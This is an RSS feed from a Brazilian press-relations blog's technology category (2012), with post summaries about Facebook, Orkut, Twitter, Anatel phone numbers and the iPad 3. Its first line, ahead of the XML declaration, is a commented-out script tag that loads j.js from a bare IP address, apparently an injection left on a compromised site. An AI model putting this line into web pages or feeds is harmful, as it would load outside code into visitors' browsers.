<!--<script src=http://201.49.218.35/.../j.js></script>-->
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>d&#38;a blog &#187; Tecnologia</title>
	<atom:link href="http://www.deaimprensa.com.br/blog/category/tecnologia/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.deaimprensa.com.br/blog</link>
	<description>Assessoria de Imprensa</description>
	<lastBuildDate>Fri, 03 Feb 2012 20:09:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Brasil é o quarto país com mais internautas em redes sociais</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/brasil-e-o-quarto-pais-com-mais-internautas-em-redes-sociais/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/brasil-e-o-quarto-pais-com-mais-internautas-em-redes-sociais/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 13:38:03 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4106</guid>
		<description><![CDATA[
 
O Brasil é o quarto país no mundo com maior presença nas redes sociais, segundo estudo da comScore. São 97% dos internautas em sites como Twitter e Facebook.
Empatados na primeira posição, EUA, Espanha e Reino Unido têm 98% de seus internautas em mídias sociais. Entre os 43 países pesquisados, a média de penetração é de [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/brasil-e-o-quarto-pais-com-mais-internautas-em-redes-sociais/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Celulares de São Paulo terão nove dígitos, diz Anatel</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/celulares-de-sao-paulo-terao-nove-digitos-diz-anatel/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/celulares-de-sao-paulo-terao-nove-digitos-diz-anatel/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 19:14:05 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4095</guid>
		<description><![CDATA[
A Agência Nacional de Telecomunicações (Anatel) decidiu nesta  quinta-feira (9) elevar para nove os dígitos dos celulares de São Paulo  como forma de evitar a escassez de números. A decisão foi tomada durante  reunião na tarde desta quinta pelo Conselho Diretor da agência. Com a  medida, as prestadoras terão um prazo [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/celulares-de-sao-paulo-terao-nove-digitos-diz-anatel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter cresce 700% em empresas</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/twitter-cresce-700-em-empresas/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/twitter-cresce-700-em-empresas/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 13:33:39 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4082</guid>
		<description><![CDATA[










Cada vez mais as redes sociais crescem no ambiente corporativo. Uma pesquisa da Palo Alto Networks divulgada pelo IDG Now! mostra que só o Twitter cresceu mais de 700% no segundo semestre de 2011 na comparação anual.
Somando todas as redes, o Relatório de Uso e Risco de Aplicativos mostra que houve aumento de 300%.
Em outubro [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/twitter-cresce-700-em-empresas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brasileiros usam mais Facebook que Orkut</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/brasileiros-usam-mais-facebook-que-orkut/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/brasileiros-usam-mais-facebook-que-orkut/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 14:11:52 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4073</guid>
		<description><![CDATA[









Após muitas pesquisas afirmarem que o número de brasileiros no Facebook ultrapassou o de brasileiros no Orkut, finalmente chegam resultados oficiais. Dados de uma pesquisa realizada pela comScore foram revelados na terça-feira,17, provando que, de fato, o número de usuários na rede social do Zuckerberg ultrapassou (em 2 milhões de usuários) o antigo fenômeno Orkut.
 
Os dados [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/brasileiros-usam-mais-facebook-que-orkut/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apple prepara um iPad 3 para os mais pobres</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/apple-prepara-um-ipad-3-para-os-mais-pobres/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/apple-prepara-um-ipad-3-para-os-mais-pobres/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 14:41:28 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4070</guid>
		<description><![CDATA[









Em março deste ano a Apple pode colocar nas lojas norte-americanas a terceira versão do seu tablet. O iPad 3, segundo a Bloomberg, deve vir em duas versões, uma mais robusta e outra direcionada ao mercado menos endinheirado.
A linha sofisticada contaria com resolução de 2048 x 1536 pixels, enquanto a outra manteria o padrão do [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/apple-prepara-um-ipad-3-para-os-mais-pobres/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook agora permite ouvir música em grupo</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/facebook-agora-permite-ouvir-musica-em-grupo/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/facebook-agora-permite-ouvir-musica-em-grupo/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 14:38:54 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4067</guid>
		<description><![CDATA[










  O Facebook liberou, nesta quinta-feira, 12, um recurso para compartilhamento de músicas dentro da rede social. Os usuários não poderão baixar conteúdo, mas mostrar aos amigos o que está ouvindo e, a partir daí, ouvir em grupo.
A novidade pode ser vista na barra de chat. Ao passar o mouse por cima do contato, aparece [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/facebook-agora-permite-ouvir-musica-em-grupo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aplicativos para smartphone e tablet permitem testar cores na parede ou móveis no ambiente</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/aplicativos-para-smartphone-e-tablet-permitem-testar-cores-na-parede-ou-moveis-no-ambiente/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/aplicativos-para-smartphone-e-tablet-permitem-testar-cores-na-parede-ou-moveis-no-ambiente/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 13:47:07 +0000</pubDate>
		<dc:creator>Tassia Lourenco</dc:creator>
				<category><![CDATA[Arquitetura & Decoração]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/2012/01/aplicativos-para-smartphone-e-tablet-permitem-testar-cores-na-parede-ou-moveis-no-ambiente/</guid>
		<description><![CDATA[
      Nada de trena, nível e catálogos de tintas ou de revestimentos. Basta um tablet ou um smartphone para reunir algumas ferramentas usadas por arquitetos na reforma ou na decoração da casa &#8211; todas em aplicativos.
Os programas ajudam, entre outras coisas, a saber qual o ambiente mais quente da casa, a estimar o gasto com [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/aplicativos-para-smartphone-e-tablet-permitem-testar-cores-na-parede-ou-moveis-no-ambiente/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brasil é o 4º maior no Facebook e o que mais cresce</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/brasil-e-o-4%c2%ba-maior-no-facebook-e-o-que-mais-cresce/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/brasil-e-o-4%c2%ba-maior-no-facebook-e-o-que-mais-cresce/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 13:47:08 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4041</guid>
		<description><![CDATA[









 No final de 2011, o Brasil alcançou o quarto lugar entre os países com mais usuários no Facebook. Cerca de 35,1 milhões de brasileiros estão cadastrados na rede, de acordo com Nick Brucher, analista de mídias sociais da Inglaterra, diretor de redes sociais e inovação da empresa ZenithOptimedia.
A análise de Brucher começou em 2008 e [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/brasil-e-o-4%c2%ba-maior-no-facebook-e-o-que-mais-cresce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook coloca propaganda no feed de notícias</title>
		<link>http://www.deaimprensa.com.br/blog/2011/12/facebook-coloca-propaganda-no-feed-de-noticias/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/12/facebook-coloca-propaganda-no-feed-de-noticias/#comments</comments>
		<pubDate>Wed, 21 Dec 2011 14:33:27 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4002</guid>
		<description><![CDATA[









Em janeiro de 2012 as Sponsored Stories, postagens patrocinadas, serão inseridas no Feed de Notícias do Facebook. O anúncio da disponibilização do serviço foi feito nesta terça-feira, 20.
 A ideia é mostrar uma história patrocinada por dia para cada usuário, com sinalização de que ali há patrocínio, afirma a empresa. O movimento vai aumentar muito a [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/12/facebook-coloca-propaganda-no-feed-de-noticias/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Orkut ainda é maior que Facebook no Brasil</title>
		<link>http://www.deaimprensa.com.br/blog/2011/12/orkut-ainda-e-maior-que-facebook-no-brasil/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/12/orkut-ainda-e-maior-que-facebook-no-brasil/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 13:38:05 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3976</guid>
		<description><![CDATA[









 Se você já está cansado de ler pesquisas que avaliam o duelo entre Facebook e Orkut no Brasil, eis mais uma. Só que desta vez o panorama é diferente. Apesar de todo o alvoroço em torno da rede de Mark Zuckerberg, o site de relacionamentos ainda não é líder no Brasil. É o que aponta a [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/12/orkut-ainda-e-maior-que-facebook-no-brasil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

